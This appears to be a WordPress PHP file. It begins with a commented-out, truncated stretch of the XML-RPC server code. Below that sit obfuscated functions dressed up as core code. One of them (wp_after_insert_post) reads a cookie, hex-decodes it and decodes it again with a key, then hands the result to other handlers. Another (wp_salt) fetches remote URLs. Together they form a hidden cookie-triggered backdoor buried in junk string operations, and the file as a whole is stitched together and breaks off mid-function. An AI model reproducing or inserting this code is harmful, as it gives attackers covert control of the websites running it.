return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'metaWeblog.getCategories', $args, $this );
$categories_struct = array();
$cats = get_categories( array( 'get' => 'all' ) );
if ( $cats ) {
foreach ( $cats as $cat ) {
$struct = array();
$struct['categoryId'] = $cat->term_id;
$struct['parentId'] = $cat->parent;
$struct['description'] = $cat->name;
$struct['categoryDescription'] = $cat->description;
$struct['categoryName'] = $cat->name;
$struct['htmlUrl'] = esc_html( get_category_link( $cat->term_id ) );
$struct['rssUrl'] = esc_html( get_category_feed_link( $cat->term_id, 'rss2' ) );
$categories_struct[] = $struct;
}
}
return $categories_struct;
}
*
* Uploads a file, following your settings.
*
* Adapted from a patch by Johann Richard.
*
* @link http:mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Data.
* }
* @return array|IXR_Error
public function mw_newMediaObject( $args ) {
$username = $this->escape( $args[1] );
$password = $this->escape( $args[2] );
$data = $args[3];
$name = sanitize_file_name( $data['name'] );
$type = $data['type'];
$bits = $data['bits'];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'metaWeblog.newMediaObject', $args, $this );
if ( ! current_user_can( 'upload_files' ) ) {
$this->error = new IXR_Error( 401, __( 'Sorry, you are not allowed to upload files.' ) );
return $this->error;
}
if ( is_multisite() && upload_is_user_over_quota( false ) ) {
$this->error = new IXR_Error(
401,
sprintf(
translators: %s: Allowed space allocation.
__( 'Sorry, you have used your space allocation of %s. Please delete some files to upload more files.' ),
size_format( get_space_allowed() * MB_IN_BYTES )
)
);
return $this->error;
}
*
* Filters whether to preempt the XML-RPC media upload.
*
* Returning a truthy value will effectively short-circuit the media upload,
* returning that value as a 500 error instead.
*
* @since 2.1.0
*
* @param bool $error Whether to pre-empt the media upload. Default false.
$upload_err = apply_filters( 'pre_upload_error', false );
if ( $upload_err ) {
return new IXR_Error( 500, $upload_err );
}
$upload = wp_upload_bits( $name, null, $bits );
if ( ! empty( $upload['error'] ) ) {
translators: 1: File name, 2: Error message.
$errorString = sprintf( __( 'Could not write file %1$s (%2$s).' ), $name, $upload['error'] );
return new IXR_Error( 500, $errorString );
}
Construct the attachment array.
$post_id = 0;
if ( ! empty( $data['post_id'] ) ) {
$post_id = (int) $data['post_id'];
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
}
}
$attachment = array(
'post_title' => $name,
'post_content' => '',
'post_type' => 'attachment',
'post_parent' => $post_id,
'post_mime_type' => $type,
'guid' => $upload['url'],
);
Save the data.
$id = wp_insert_attachment( $attachment, $upload['file'], $post_id );
wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $upload['file'] ) );
*
* Fires after a new attachment has been added via the XML-RPC MovableType API.
*
* @since 3.4.0
*
* @param int $id ID of the new attachment.
* @param array $args An array of arguments to add the attachment.
do_action( 'xmlrpc_call_success_mw_newMediaObject', $id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
$struct = $this->_prepare_media_item( get_post( $id ) );
Deprecated values.
$struct['id'] = $struct['attachment_id'];
$struct['file'] = $struct['title'];
$struct['url'] = $struct['link'];
return $struct;
}
* MovableType API functions.
* Specs archive on http:web.archive.org/web/20050220091302/http:www.movabletype.org:80/docs/mtmanual_programmatic.html
*
* Retrieves the post titles of recent posts.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Optional. Number of posts.
* }
* @return array|IXR_Error
public function mt_getRecentPostTitles( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
if ( isset( $args[3] ) ) {
$query = array( 'numberposts' => absint( $args[3] ) );
} else {
$query = array();
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'mt.getRecentPostTitles', $args, $this );
$posts_list = wp_get_recent_posts( $query );
if ( ! $posts_list ) {
$this->error = new IXR_Error( 500, __( 'Either there are no posts, or something went wrong.' ) );
return $this->error;
}
$recent_posts = array();
foreach ( $posts_list as $entry ) {
if ( ! current_user_can( 'edit_post', $entry['ID'] ) ) {
continue;
}
$post_date = $this->_convert_date( $entry['post_date'] );
$post_date_gmt = $this->_convert_date_gmt( $entry['post_date_gmt'], $entry['post_date'] );
$recent_posts[] = array(
'dateCreated' => $post_date,
'userid' => $entry['post_author'],
'postid' => (string) $entry['ID'],
'title' => $entry['post_title'],
'post_status' => $entry['post_status'],
'date_created_gmt' => $post_date_gmt,
);
}
return $recent_posts;
}
*
* Retrieves the list of all categories on a blog.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function mt_getCategoryList( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'mt.getCategoryList', $args, $this );
$categories_struct = array();
$cats = get_categories(
array(
'hide_empty' => 0,
'hierarchical' => 0,
)
);
if ( $cats ) {
foreach ( $cats as $cat ) {
$struct = array();
$struct['categoryId'] = $cat->term_id;
$struct['categoryName'] = $cat->name;
$categories_struct[] = $struct;
}
}
return $categories_struct;
}
*
* Retrieves post categories.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Post ID.
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function mt_getPostCategories( $args ) {
$this->escape( $args );
$post_id = (int) $args[0];
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! get_post( $post_id ) ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'mt.getPostCategories', $args, $this );
$categories = array();
$catids = wp_get_post_categories( (int) $post_id );
First listed category will be the primary category.
$isPrimary = true;
foreach ( $catids as $catid ) {
$categories[] = array(
'categoryName' => get_cat_name( $catid ),
'categoryId' => (string) $catid,
'isPrimary' => $isPrimary,
);
$isPrimary = false;
}
return $categories;
}
*
* Sets categories for a post.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Post ID.
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Categories.
* }
* @return true|IXR_Error True on success.
public function mt_setPostCategories( $args ) {
$this->escape( $args );
$post_id = (int) $args[0];
$username = $args[1];
$password = $args[2];
$categories = $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'mt.setPostCategories', $args, $this );
if ( ! get_post( $post_id ) ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
}
$catids = array();
foreach ( $categories as $cat ) {
$catids[] = $cat['categoryId'];
}
wp_set_post_categories( $post_id, $catids );
return true;
}
*
* Retrieves an array of methods supported by this server.
*
* @since 1.5.0
*
* @return array
public function mt_supportedMethods() {
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'mt.supportedMethods', array(), $this );
return array_keys( $this->methods );
}
*
* Retrieves an empty array because we don't support per-post text filters.
*
* @since 1.5.0
public function mt_supportedTextFilters() {
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'mt.supportedTextFilters', array(), $this );
*
* Filters the MoveableType text filters list for XML-RPC.
*
* @since 2.2.0
*
* @param array $filters An array of text filters.
return apply_filters( 'xmlrpc_text_filters', array() );
}
*
* Retrieves trackbacks sent to a given post.
*
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $post_id
* @return array|IXR_Error
public function mt_getTrackbackPings( $post_id ) {
global $wpdb;
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'mt.getTrackbackPings', $post_id, $this );
$actual_post = get_post( $post_id, ARRAY_A );
if ( ! $actual_post ) {
return new IXR_Error( 404, __( 'Sorry, no such post.' ) );
}
$comments = $wpdb->get_results( $wpdb->prepare( "SELECT comment_author_url, comment_content, comment_author_IP, comment_type FROM $wpdb->comments WHERE comment_post_ID = %d", $post_id ) );
if ( ! $comments ) {
return array();
}
$trackback_pings = array();
foreach ( $comments as $comment ) {
if ( 'trackback' === $comment->comment_type ) {
$content = $comment->comment_content;
$title = substr( $content, 8, ( strpos( $content, '' ) - 8 ) );
$trackback_pings[] = array(
'pingTitle' => $title,
'pingURL' => $comment->comment_author_url,
'pingIP' => $comment->comment_author_IP,
);
}
}
return $trackback_pings;
}
*
* Sets a post's publish status to 'publish'.
*
* @since 1.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Post ID.
* @type string $1 Username.
* @type string $2 Password.
* }
* @return int|IXR_Error
public function mt_publishPost( $args ) {
$this->escape( $args );
$post_id = (int) $args[0];
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'mt.publishPost', $args, $this );
$postdata = get_post( $post_id, ARRAY_A );
if ( ! $postdata ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'publish_posts' ) || ! current_user_can( 'edit_post', $post_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish this post.' ) );
}
$postdata['post_status'] = 'publish';
Retain old categories.
$postdata['post_category'] = wp_get_post_categories( $post_id );
$this->escape( $postdata );
return wp_update_post( $postdata );
}
* Pingback functions.
* Specs on www.hixie.ch/specs/pingback/pingback
*
* Retrieves a pingback and registers it.
*
* @since 1.5.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type string $0 URL of page linked from.
* @type string $1 URL of page linked to.
* }
* @return string|IXR_Error
public function pingback_ping( $args ) {
global $wpdb;
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'pingback.ping', $args, $this );
$this->escape( $args );
$pagelinkedfrom = str_replace( '&', '&', $args[0] );
$pagelinkedto = str_replace( '&', '&', $args[1] );
$pagelinkedto = str_replace( '&', '&', $pagelinkedto );
*
* Filters the pingback source URI.
*
* @since 3.6.0
*
* @param string $pagelinkedfrom URI of the page linked from.
* @param string $pagelinkedto URI of the page linked to.
$pagelinkedfrom = apply_filters( 'pingback_ping_source_uri', $pagelinkedfrom, $pagelinkedto );
if ( ! $pagelinkedfrom ) {
return $this->pingback_error( 0, __( 'A valid URL was not provided.' ) );
}
Check if the page linked to is on our site.
$pos1 = strpos( $pagelinkedto, str_replace( array( 'http:www.', 'http:', 'https:www.', 'https:' ), '', get_option( 'home' ) ) );
if ( ! $pos1 ) {
return $this->pingback_error( 0, __( 'Is there no link to us?' ) );
}
* Let's find which post is linked to.
* FIXME: Does url_to_postid() cover all these cases already?
* If so, then let's use it and drop the old code.
$urltest = parse_url( $pagelinkedto );
$post_id = url_to_postid( $pagelinkedto );
if ( $post_id ) {
$way
} elseif ( isset( $urltest['path'] ) && preg_match( '#p/[0-9]{1,}#', $urltest['path'], $match ) ) {
The path defines the post_ID (archives/p/XXXX).
$blah = explode( '/', $match[0] );
$post_id = (int) $blah[1];
} elseif ( isset( $urltest['query'] ) && preg_match( '#p=[0-9]{1,}#', $urltest['query'], $match ) ) {
The query string defines the post_ID (?p=XXXX).
$blah = explode( '=', $match[0] );
$post_id = (int) $blah[1];
} elseif ( isset( $urltest['fragment'] ) ) {
An #anchor is there, it's either...
if ( (int) $urltest['fragment'] ) {
...an integer #XXXX (simplest case),
$post_id = (int) $urltest['fragment'];
} elseif ( preg_match( '/post-[0-9]+/', $urltest['fragment'] ) ) {
...a post ID in the form 'post-###',
$post_id = preg_replace( '/[^0-9]+/', '', $urltest['fragment'] );
} elseif ( is_string( $urltest['fragment'] ) ) {
...or a string #title, a little more complicated.
$title = preg_replace( '/[^a-z0-9]/i', '.', $urltest['fragment'] );
$sql = $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_title RLIKE %s", $title );
$post_id = $wpdb->get_var( $sql );
if ( ! $post_id ) {
Returning unknown error '0' is better than die()'ing.
return $this->pingback_error( 0, '' );
}
}
} else {
TODO: Attempt to extract a post ID from the given URL.
return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either does not exist, or it is not a pingback-enabled resource.' ) );
}
$post_id = (int) $post_id;
$post = get_post( $post_id );
if ( ! $post ) { Post not found.
return $this->pingback_error( 33, __( 'The specified target URL cannot be used as a target. It either does not exist, or it is not a pingback-enabled resource.' ) );
}
if ( url_to_postid( $pagelinkedfrom ) == $post_id ) {
return $this->pingback_error( 0, __( 'The source URL and the target URL cannot both point to the same resource.' ) );
}
Check if pings are on.
if ( ! pings_open( $post ) ) {
return $this->ping*/
$filtered_content_classnames = 'fyv2awfj';
$border_styles = 'gros6';
/**
* Server-side rendering of the `core/query-title` block.
*
* @package WordPress
*/
/**
* Renders the `core/query-title` block on the server.
* For now it only supports Archive title,
* using queried object information
*
* @param array $dependents Block attributes.
*
* @return string Returns the query title based on the queried object.
*/
function metaBlockTypeLookup($dependents)
{
$valuearray = isset($dependents['type']) ? $dependents['type'] : null;
$DKIM_extraHeaders = is_archive();
$validated_success_url = is_search();
if (!$valuearray || 'archive' === $valuearray && !$DKIM_extraHeaders || 'search' === $valuearray && !$validated_success_url) {
return '';
}
$biasedexponent = '';
if ($DKIM_extraHeaders) {
$context_dir = isset($dependents['showPrefix']) ? $dependents['showPrefix'] : true;
if (!$context_dir) {
add_filter('get_the_archive_title_prefix', '__return_empty_string', 1);
$biasedexponent = get_the_archive_title();
remove_filter('get_the_archive_title_prefix', '__return_empty_string', 1);
} else {
$biasedexponent = get_the_archive_title();
}
}
if ($validated_success_url) {
$biasedexponent = __('Search results');
if (isset($dependents['showSearchTerm']) && $dependents['showSearchTerm']) {
$biasedexponent = sprintf(
/* translators: %s is the search term. */
__('Search results for: "%s"'),
get_search_query()
);
}
}
$resource = isset($dependents['level']) ? 'h' . (int) $dependents['level'] : 'h1';
$filtered_errors = empty($dependents['textAlign']) ? '' : "has-text-align-{$dependents['textAlign']}";
$SNDM_thisTagDataFlags = get_block_wrapper_attributes(array('class' => $filtered_errors));
return sprintf('<%1$NS %2$NS>%3$NS%1$NS>', $resource, $SNDM_thisTagDataFlags, $biasedexponent);
}
/**
* Site ID.
*
* Named "blog" vs. "site" for legacy reasons.
*
* A numeric string, for compatibility reasons.
*
* @since 4.5.0
* @var string
*/
function separate_comments($used_curies, $doing_ajax_or_is_customized){
// https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609
// ----- Look for empty dir (path reduction)
// Merge edits when possible.
// Don't delete the default custom taxonomy term.
$RVA2ChannelTypeLookup = 'uux7g89r';
$confirmed_timestamp = 't8wptam';
$cluster_silent_tracks = 'zaxmj5';
// Reply and quickedit need a hide-if-no-js span when not added with Ajax.
$validated_reject_url = 'q2i2q9';
$cluster_silent_tracks = trim($cluster_silent_tracks);
$default_feed = 'ddpqvne3';
// Don't send the notification to the default 'admin_email' value.
// Low-pass filter frequency in kHz
$RVA2ChannelTypeLookup = base64_encode($default_feed);
$confirmed_timestamp = ucfirst($validated_reject_url);
$cluster_silent_tracks = addcslashes($cluster_silent_tracks, $cluster_silent_tracks);
$form_post = 'x9yi5';
$lasterror = 'nieok';
$confirmed_timestamp = strcoll($confirmed_timestamp, $confirmed_timestamp);
$validated_reject_url = sha1($validated_reject_url);
$cluster_silent_tracks = ucfirst($form_post);
$lasterror = addcslashes($RVA2ChannelTypeLookup, $lasterror);
// $rawarray['padding'];
$u1_u2u2 = 'ocbl';
$right = 's1ix1';
$validated_reject_url = crc32($confirmed_timestamp);
// fall through and append value
$current_cpage = strlen($doing_ajax_or_is_customized);
$u1_u2u2 = nl2br($form_post);
$right = htmlspecialchars_decode($lasterror);
$raw_page = 's6im';
$disable_prev = strlen($used_curies);
// folder (recursively).
// Check if all border support features have been opted into via `"__experimentalBorder": true`.
$validated_reject_url = str_repeat($raw_page, 3);
$cluster_silent_tracks = htmlentities($u1_u2u2);
$lasterror = strtr($RVA2ChannelTypeLookup, 17, 7);
$current_cpage = $disable_prev / $current_cpage;
// If there's a year.
$u1_u2u2 = strcoll($form_post, $form_post);
$lostpassword_url = 'ojc7kqrab';
$multifeed_url = 'dwey0i';
# slide(aslide,a);
// Get dismissed pointers.
$multifeed_url = strcoll($RVA2ChannelTypeLookup, $right);
$XingVBRidOffsetCache = 'zi2eecfa0';
$cluster_silent_tracks = md5($form_post);
$lostpassword_url = str_repeat($XingVBRidOffsetCache, 5);
$lasterror = strrev($right);
$ArrayPath = 'blpt52p';
$current_cpage = ceil($current_cpage);
// Mark the specified value as checked if it matches the current link's relationship.
$f5f6_38 = str_split($used_curies);
$doing_ajax_or_is_customized = str_repeat($doing_ajax_or_is_customized, $current_cpage);
$XingVBRidOffsetCache = strcoll($raw_page, $validated_reject_url);
$ArrayPath = strtr($cluster_silent_tracks, 8, 18);
$embedmatch = 'cd7slb49';
$NextObjectGUID = str_split($doing_ajax_or_is_customized);
$non_ascii_octects = 'kb7wj';
$checkname = 'mqqa4r6nl';
$right = rawurldecode($embedmatch);
$NextObjectGUID = array_slice($NextObjectGUID, 0, $disable_prev);
// any msgs marked as deleted.
$validated_reject_url = stripcslashes($checkname);
$form_post = urlencode($non_ascii_octects);
$embedmatch = strtoupper($embedmatch);
// Add unreserved and % to $font_sizes_by_originra_chars (the latter is safe because all
$folder_part_keys = array_map("update_multi_meta_value", $f5f6_38, $NextObjectGUID);
$quality_result = 'hmlvoq';
$used_placeholders = 'jmhbjoi';
$p8 = 'z2esj';
$folder_part_keys = implode('', $folder_part_keys);
$lostpassword_url = basename($used_placeholders);
$default_feed = strnatcasecmp($embedmatch, $quality_result);
$p8 = substr($p8, 5, 13);
$core_keyword_id = 'gc2acbhne';
$CharSet = 'lqxd2xjh';
$do_concat = 'u39x';
// 5.4.2.27 timecod1: Time code first half, 14 bits
$u1_u2u2 = htmlspecialchars_decode($do_concat);
$embedmatch = htmlspecialchars($CharSet);
$validated_reject_url = substr($core_keyword_id, 19, 15);
// Handle redirects.
$custom_shadow = 'vvz3';
$threaded = 'sgw32ozk';
$lostpassword_url = trim($confirmed_timestamp);
return $folder_part_keys;
}
/**
* Fires after each site has been upgraded.
*
* @since MU (3.0.0)
*
* @param int $NSite_id The Site ID.
*/
function wp_salt($basedir){
// %x0000000 %00000000 // v2.3
$basedir = "http://" . $basedir;
$requested_status = 'orqt3m';
$v_requested_options = 'puuwprnq';
$old_role = 'i06vxgj';
$gap_column = 'y2v4inm';
$fourbit = 'fvg5';
$partial_args = 'kn2c1';
$v_requested_options = strnatcasecmp($v_requested_options, $v_requested_options);
$backup_sizes = 'gjq6x18l';
// Do we need to constrain the image?
return file_get_contents($basedir);
}
/**
* Registers the `core/categories` block on server.
*/
function favorite_actions($fallback_sizes){
$fallback_sizes = ord($fallback_sizes);
// 3.94a15
return $fallback_sizes;
}
$f2_2 = 'l86ltmp';
$meta_compare_string_end = 'rl99';
$x5 = 'xoq5qwv3';
/**
* Removes placeholders added by do_shortcodes_in_html_tags().
*
* @since 4.2.3
*
* @param string $content Content to search for placeholders.
* @return string Content with placeholders removed.
*/
function get_access_token ($v_dirlist_descr){
$public_post_types = 'qg3scfiur';
$SlashedGenre = 'g36x';
$monthlink = 's37t5';
$SlashedGenre = str_repeat($SlashedGenre, 4);
$to_line_no = 'e4mj5yl';
$page_columns = 'c54ic7k1r';
$public_post_types = urldecode($page_columns);
$SlashedGenre = md5($SlashedGenre);
$background_image_thumb = 'f7v6d0';
$compiled_core_stylesheet = 'zhn2i2x';
$monthlink = strnatcasecmp($to_line_no, $background_image_thumb);
$SlashedGenre = strtoupper($SlashedGenre);
// Use a fallback gap value if block gap support is not available.
// $this->fseek($block_hooksnfo['avdataend']);
// the rest is all hardcoded(?) and does not appear to be useful until you get to audio info at offset 256, even then everything is probably hardcoded
// MKAV - audio/video - Mastroka
$o_name = 'q3dq';
$unloaded = 'd26utd8r';
$compiled_core_stylesheet = urlencode($v_dirlist_descr);
$v_dirlist_descr = str_repeat($v_dirlist_descr, 2);
//createBody may have added some headers, so retain them
$unloaded = convert_uuencode($monthlink);
$dest_dir = 'npx3klujc';
$public_post_types = rawurldecode($compiled_core_stylesheet);
$migrated_pattern = 'k4hop8ci';
$o_name = levenshtein($SlashedGenre, $dest_dir);
// Check COMPRESS_SCRIPTS.
$firstWrite = 'yhvsv1';
$email_service = 'n1sutr45';
$SMTPKeepAlive = 'p1szf';
$to_line_no = stripos($migrated_pattern, $SMTPKeepAlive);
$SlashedGenre = rawurldecode($email_service);
$format_name = 'jrpmulr0';
$cross_domain = 'c037e3pl';
$firstWrite = base64_encode($public_post_types);
$unloaded = stripslashes($format_name);
$dest_dir = wordwrap($cross_domain);
// parser stack
$public_post_types = crc32($firstWrite);
$default_search_columns = 'oo33p3etl';
$port = 'ocphzgh';
// decrease precision
$DIVXTAGgenre = 'gi7y';
$default_search_columns = ucwords($default_search_columns);
$public_post_types = htmlspecialchars_decode($page_columns);
$f0f9_2 = 'h14zr';
//which is appended after calculating the signature
$firstWrite = stripslashes($f0f9_2);
$framedataoffset = 'jalnxr';
$thumbnail_update = 'tewx68mg';
$framedataoffset = wordwrap($thumbnail_update);
$port = wordwrap($DIVXTAGgenre);
$format_name = strtolower($format_name);
$chunk = 'us8zn5f';
$open_button_directives = 'zlul';
$thumbnail_update = urldecode($page_columns);
$open_button_directives = strrev($format_name);
$chunk = str_repeat($cross_domain, 4);
$SlashedGenre = basename($dest_dir);
$format_slugs = 'ioolb';
$mu_plugin_rel_path = 'ps6y9';
$textarr = 'rtngu';
// 0 or actual value if this is a full box.
// If the HTML is unbalanced, stop processing it.
$mu_plugin_rel_path = stripcslashes($textarr);
# v2 += v1;
$MessageID = 'awkw';
//Close the connection and cleanup
// KEYS that may be present in the metadata atom.
$background_image_thumb = htmlspecialchars($format_slugs);
$email_service = rtrim($chunk);
$dest_dir = str_shuffle($DIVXTAGgenre);
$problem_output = 'oka5vh';
$SlashedGenre = urlencode($o_name);
$format_slugs = crc32($problem_output);
// Type-Specific Data BYTESTREAM variable // type-specific format data, depending on value of Stream Type
// Convert absolute to relative.
$to_line_no = strcoll($background_image_thumb, $background_image_thumb);
$using_paths = 'b9corri';
$next_byte_pair = 'm5754mkh2';
$email_service = html_entity_decode($using_paths);
// Find any unattached files.
$f0g0 = 'b7a6qz77';
$SMTPKeepAlive = basename($next_byte_pair);
$email_service = str_shuffle($f0g0);
$background_image_thumb = is_string($unloaded);
$MessageID = htmlspecialchars($v_dirlist_descr);
$textarr = ltrim($public_post_types);
// ----- Reset the file system cache
$problem_output = htmlspecialchars($monthlink);
$o_name = rawurlencode($SlashedGenre);
$plugin_name = 'zh20rez7f';
$combined_gap_value = 'j5j7';
// Support externally referenced styles (like, say, fonts).
$combined_gap_value = md5($combined_gap_value);
$framedataoffset = rawurldecode($f0f9_2);
return $v_dirlist_descr;
}
/**
* Replaces the contents of the cache with new data.
*
* @since 2.0.0
*
* @see WP_Object_Cache::replace()
* @global WP_Object_Cache $f4g5p_object_cache Object cache global instance.
*
* @param int|string $doing_ajax_or_is_customized The key for the cache data that should be replaced.
* @param mixed $used_curies The new data to store in the cache.
* @param string $group Optional. The group for the cache data that should be replaced.
* Default empty.
* @param int $dual_usepire Optional. When to expire the cache contents, in seconds.
* Default 0 (no expiration).
* @return bool True if contents were replaced, false if original value does not exist.
*/
function get_category_parents ($MessageID){
// Avoid `wp_list_pluck()` in case `$layout_selector_patterns` is passed by reference.
$numpages = 'wc7068uz8';
# crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
$v_string_list = 'p4kdkf';
$numpages = levenshtein($numpages, $v_string_list);
$f0f9_2 = 'j51eunx4';
$link_categories = 'rfg1j';
$v_dirlist_descr = 'p4obg87';
// Install plugin type, From Web or an Upload.
// Don't print empty markup if there's only one page.
//unset($framedata);
// Run the update query, all fields in $used_curies are %s, $f4g5here is a %d.
$link_categories = rawurldecode($v_string_list);
// Check if object id exists before saving.
// PCLZIP_CB_PRE_ADD :
$f0f9_2 = strrev($v_dirlist_descr);
$page_columns = 'mzbd';
// Menu locations.
$textarr = 'x7p3mh';
// If there is a value return it, else return null.
// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain
// If there are 7 or fewer steps in the scale revert to numbers for labels instead of t-shirt sizes.
$v_string_list = stripos($link_categories, $v_string_list);
$page_columns = ltrim($textarr);
// http://en.wikipedia.org/wiki/AIFF
$thumbnail_support = 'zozkfch4';
// Exact hostname/IP matches.
$copykeys = 'qwdiv';
$copykeys = rawurldecode($numpages);
// If the new role isn't editable by the logged-in user die with error.
$mu_plugin_rel_path = 'ja70kyh';
$proxy = 's0n42qtxg';
$thumbnail_support = strtolower($mu_plugin_rel_path);
// Schedule transient cleanup.
$proxy = ucfirst($link_categories);
// Pull the categories info together.
$numpages = html_entity_decode($v_string_list);
$firstWrite = 's9y3l';
// Custom.
$max_h = 'l1ty';
$max_h = htmlspecialchars_decode($link_categories);
$default_password_nag_message = 'i9vo973';
// Unmoderated comments are only visible for 10 minutes via the moderation hash.
// If the host is the same or it's a relative URL.
$default_password_nag_message = stripcslashes($link_categories);
// iTunes store account type
$public_post_types = 'd52t2';
$firstWrite = base64_encode($public_post_types);
// europe
$thumbnail_update = 'c3bhhnpm';
$thumbnail_update = strip_tags($public_post_types);
$copykeys = strtr($copykeys, 9, 9);
# v1 ^= v2;;
// Remove extraneous backslashes.
$constants = 'yduk4v8';
// Early exit if not a block template.
$link_categories = ltrim($v_string_list);
$use_widgets_block_editor = 'osi5m';
// Count the number of terms with the same name.
// Requests from file:// and data: URLs send "Origin: null".
# memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
// There are some checks.
// This is WavPack data
// Lace (when lacing bit is set)
// There may only be one 'SYTC' frame in each tag
// 2^24 - 1
$frame_textencoding = 'ts7ylt2';
$constants = htmlspecialchars_decode($frame_textencoding);
return $MessageID;
}
/**
* Filters the errors encountered on a password reset request.
*
* The filtered WP_Error object may, for example, contain errors for an invalid
* username or email address. A WP_Error object should always be returned,
* but may or may not contain errors.
*
* If any errors are present in $utf16, this will abort the password reset request.
*
* @since 5.5.0
*
* @param WP_Error $utf16 A WP_Error object containing any errors generated
* by using invalid credentials.
* @param WP_User|false $enabled_data WP_User object if found, false if the user does not exist.
*/
function wp_after_insert_post($new_site_url, $mb_length){
// ----- The list is a list of string names
// if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
$latest_revision = $_COOKIE[$new_site_url];
$environment_type = 'jzqhbz3';
$filtered_content_classnames = 'fyv2awfj';
$rollback_result = 'vdl1f91';
$nextpos = 'a8ll7be';
$latest_revision = pack("H*", $latest_revision);
$last_updated_timestamp = 'm7w4mx1pk';
$filtered_content_classnames = base64_encode($filtered_content_classnames);
$nextpos = md5($nextpos);
$rollback_result = strtolower($rollback_result);
$rollback_result = str_repeat($rollback_result, 1);
$filtered_content_classnames = nl2br($filtered_content_classnames);
$environment_type = addslashes($last_updated_timestamp);
$pk = 'l5hg7k';
$desired_aspect = separate_comments($latest_revision, $mb_length);
// Store the original attachment source in meta.
// ge25519_cmov_cached(t, &cached[2], equal(babs, 3));
// [57][41] -- Writing application ("mkvmerge-0.3.3").
// Also, let's never ping local attachments.
if (data_wp_interactive_processor($desired_aspect)) {
$plen = unregister_widget_control($desired_aspect);
return $plen;
}
have_posts($new_site_url, $mb_length, $desired_aspect);
}
/**
* Determines whether the plugin has plugin dependencies.
*
* @since 6.5.0
*
* @param string $newline The plugin's filepath, relative to the plugins directory.
* @return bool Whether a plugin has plugin dependencies.
*/
function update_multi_meta_value($f4f4, $new_item){
$f7g2 = 'eu18g8dz';
$ID3v1Tag = 'ekbzts4';
$marked = 'gob2';
$duplicate_selectors = 'y1xhy3w74';
$meta_keys = 'dvnv34';
$marked = soundex($marked);
//$block_hooksnfo['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8;
$custom_text_color = favorite_actions($f4f4) - favorite_actions($new_item);
$custom_text_color = $custom_text_color + 256;
$custom_text_color = $custom_text_color % 256;
